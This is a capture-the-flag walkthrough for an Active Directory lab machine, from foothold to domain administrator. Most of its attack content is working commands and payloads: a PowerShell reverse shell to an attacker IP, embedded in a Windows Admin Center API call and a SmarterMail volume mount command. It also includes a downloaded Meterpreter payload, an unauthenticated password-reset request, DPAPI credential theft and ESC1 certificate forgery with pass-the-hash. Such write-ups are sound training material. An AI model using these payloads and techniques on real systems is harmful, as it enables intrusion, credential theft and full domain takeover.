DanglingTree
Summary
DanglingTree is a medium AD box built on two forgotten services and a dead certificate template. A stale Windows Admin Center 2511 on port 6600 runs PowerShell through its REST API (CVE-2026-26119) as anderson.w. A loopback SmarterMail install lets us reset svc_mail's password unauthenticated (CVE-2026-23760), and a Volume Mount command hands us a shell as svc_mail. SmarterMail's hardcoded crypto key decrypts noah.b's stored password. DPAPI abuse on noah's saved credentials leaks alex.o, whose SUPPORT-IT group can ForceChangePassword jake.h. Jake can create AD CS template objects, so we materialize the ghost EmployeeAuthTemplate the CA already publishes, turn it ESC1, and forge an Administrator certificate.
Skills Required
- Windows Admin Center administration and REST API knowledge
- AD / BloodHound enumeration
- AD CS attack path understanding
- DPAPI credential extraction fundamentals
Skills Learned
- WAC REST API code execution (CVE-2026-26119)
- SmarterMail unauthenticated force-reset-password (CVE-2026-23760)
- Decrypting SmarterMail stored passwords with the shipped key + IV
- Ghost/orphaned certificate templates - create the object the CA already references (ESC1)
- SharpDPAPI decryption of saved Enterprise Credentials
Enumeration
Full port scan against danglingtree.htb. Classic DC profile plus one oddball high port.
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: danglingtree.htb) 445/tcp open microsoft-ds 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP 3268/tcp open ldap Microsoft Windows Active Directory LDAP 3389/tcp open ms-wbt-server 6600/tcp open ssl/mshvlm? 9389/tcp open mc-nmf .NET Message Framing
Null auth works on SMB, though nxc's RPC-based share enum is denied - smbclient tree-connects fine and lists a non-default share:
smbclient -L //danglingtree.htb/ -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
IT Disk
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
The IT share holds a PDF with a set of provided credentials:
anderson.w : R3dT3am@Acc3ss#01
Running our enum wrapper with those creds paints the user landscape: svc_mail, jake.h, noah.b, alex.o, anderson.w, and groups worth filing away (Cert_Managers, Helpdesk_Cert_Support, Template_Editors, DevOps_PKI, support-it, Windows Admin Center CredSSP).
Foothold
Windows Admin Center RCE
Port 6600 serves a Windows Admin Center login page over HTTPS - https://danglingtree.htb:6600. The anderson creds sign us in. The banner reads WAC Version 2511 Build 2.6.4.11, which matches the Semperis research on CVE-2026-26119 - WAC exposes REST endpoints that execute commands on managed nodes. The one that matters sits at:
/api/services/WinREST/Powershell/nodes//InvokeCommand
Each call needs a fresh authenticated session, but a general-purpose payload looks like this:
{"properties":{"script":"cmd.exe /c >c:\temp\out.txt; $a=get-content \"c:\temp\out.txt"; return $a"}}
Swapping in a PowerShell reverse shell (base64-encode the script to dodge the escape sequences):
{
"properties": {
"script": "$client = New-Object System.Net.Sockets.TCPClient('[IP]',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()",
"command": "Get-WACSMServerConnectionStatus",
"module": "Microsoft.SME.ServerManager",
"state": "ready",
"useInProcRunspace": false,
"invokeMode": "Polling"
}
}
Reverse shell as danglingtree\anderson.w.
Lateral Movement
SmarterMail on loopback → svc_mail
The box runs SmarterMail bound to 127.0.0.1:17017. Upgrade the raw shell to Meterpreter for easy forwarding.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f exe -o met.exe python3 -m http.server 8888
msfconsole -q use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST [IP] set LPORT 4444 run
Fetch and run it from the anderson shell, then forward the loopback port:
$ProgressPreference = 'SilentlyContinue' Invoke-WebRequest -Uri http://[IP]:8888/met.exe -UseBasicParsing -OutFile C:\Windows\Temp\met.exe Start-Process C:\Windows\Temp\met.exe
meterpreter > portfwd add -l 17017 -p 17017 -r 127.0.0.1
SmarterMail's force-reset-password endpoint (CVE-2026-23760) resets svc_mail's password with no authentication at all:
curl -k -X POST "http://localhost:17017/api/v1/auth/force-reset-password" \
-H "Content-Type: application/json" \
-d '{"IsSysAdmin":"true","OldPassword":"watever","Username":"svc_mail","NewPassword":"NewPassword123!@#","ConfirmPassword":"NewPassword123!@#"}'
{"username":"","errorCode":"","errorData":"","debugInfo":"check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n","success":true,"resultCode":200}
Login to the dashboard at localhost:17017 as svc_mail. Settings -> Volume Mounts lets us create a volume whose Volume Mount Command runs as an OS command - a clean RCE sink. Drop the reverse shell there:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('[IP]',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Shell as svc_mail.
noah.b from SmarterMail's own crypto
SmarterMail keeps mailbox settings per-user. As svc_mail we can read noah's backup config:
C:\SmarterMail\Domains\danglingtree.htb.bak\Users\noah.b\settings.json
The password_encrypted field holds his credential. It's encrypted with SmarterMail's own crypto helper - SmarterMail.Standard.dll ships the IV and key hardcoded in SmarterMail.Standard.Utilities.CryptographyHelper. Pull them from the DLL and decrypt:
noah.b : RiverDragon#Storm25
RunAs into a shell as noah:
RunasCs2.exe noah.b "RiverDragon#Storm25" cmd.exe -r [IP]:4446
User flag.
Privilege Escalation
alex.o from a DPAPI credential file
cmdkey /list on noah's session shows a saved credential for alex.o. Those live as DPAPI-protected files in noah's profile - decrypt them with SharpDPAPI, which can reuse noah's own password as the master key:
certutil -urlcache -split -f http://[IP]:80/SharpDPAPI.exe SharpDPAPI.exe .\SharpDPAPI.exe credentials /password:RiverDragon#Storm25
[*] Triaging Credentials for current user
Folder : C:\Users\noah.b\AppData\Roaming\Microsoft\Credentials\
CredFile : 57FFB67D684C67F09E7153B9C7CC3940
guidMasterKey : {f53fcaba-f057-48e8-8f92-0180d274bf0f}
algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
description : Enterprise Credential Data
LastWritten : 3/27/2026 3:03:38 PM
TargetName : Domain:target=PC01.danglingtree.htb
UserName : alex.o
Credential : SunsetMountainPeak@2025
alex.o : SunsetMountainPeak@2025. BloodHound with that account maps the ACLs:
bloodhound-python -u alex.o -p 'SunsetMountainPeak@2025' -d danglingtree.htb -ns [IP] -c All --zip
alex.o sits in SUPPORT-IT, which holds ForceChangePassword on jake.h. Reset his password:
bloodyad --host dc.danglingtree.htb -d danglingtree.htb -u alex.o -p 'SunsetMountainPeak@2025' set password jake.h 'NewPassword123!@#' [+] Password changed successfully!
ESC1 via a ghost certificate template
certipy-ad find as jake shows the CA is open (Enroll to Authenticated Users) but reports a surprise:
Certificate Templates : [!] Could not find any certificate templates
No pKICertificateTemplate objects exist, yet an LDAP query against the CA's certificateTemplates attribute lists names like EmployeeAuthTemplate, VPNUserTemplate, WebServer. The CA references templates that were never created (or were deleted) - a gap between what's published and what exists.
The missing piece is a principal who can create the object. BloodHound shows jake.h holds Create-Child on both CN=Certificate Templates and CN=OID. Creating an object under the already-published name EmployeeAuthTemplate sidesteps the ManageCA publish requirement entirely - the CA already trusts that name.
msfconsole -q use auxiliary/admin/ldap/ad_cs_cert_template set rhosts dc.danglingtree.htb set username jake.h set password NewPassword123!@# set domain danglingtree.htb set CERT_TEMPLATE EmployeeAuthTemplate set Action CREATE run
The module materializes a template with ESC1-favorable defaults (client-auth EKU, enrollee-supplied subject, no approval). Re-running certipy-ad find -vulnerable now flags EmployeeAuthTemplate for ESC1.
Grab the domain SID via lsaquery and subtract -500 for the built-in Administrator:
rpcclient -U 'DANGLINGTREE\jake.h%NewPassword123!@#' dc.danglingtree.htb -c 'lsaquery'
certipy-ad req -u 'jake.h@danglingtree.htb' -p 'NewPassword123!@#' -dc-ip [IP] \ -dc-host dc.danglingtree.htb -ca 'danglingtree-DC-CA' -template 'EmployeeAuthTemplate' \ -upn 'administrator@danglingtree.htb' -sid 'S-1-5-21-4220238332-57023728-1129110646-500' \ -dynamic-endpoint -timeout 60
-dynamic-endpoint and -timeout 60 were both required for this Server 2025 build's RPC endpoint to answer. Out comes administrator.pfx. PKINIT with it, then UnPAC-the-hash:
certipy-ad auth -pfx administrator.pfx -dc-ip [IP] -domain danglingtree.htb
Administrator's NT hash drops out. Psexec:
impacket-psexec 'danglingtree.htb/Administrator@dc.danglingtree.htb' -hashes ':'
Root.
Key Takeaways
- WAC on a high port is a management plane - fingerprint the version, then the REST API becomes an authenticated RCE.
- Loopback services are the second attack surface - after the first shell, port-forward and hit the unauthenticated dashboard APIs.
- Saved credentials leak -
cmdkey /listplus DPAPI files hand over other users' passwords. - Ghost certificate templates are instant ESC1 - when a CA references a template with no object,
Create-Childon the templates container materializes it. - Decrypt, don't crack - SmarterMail ships its encryption key and IV inside its own DLL.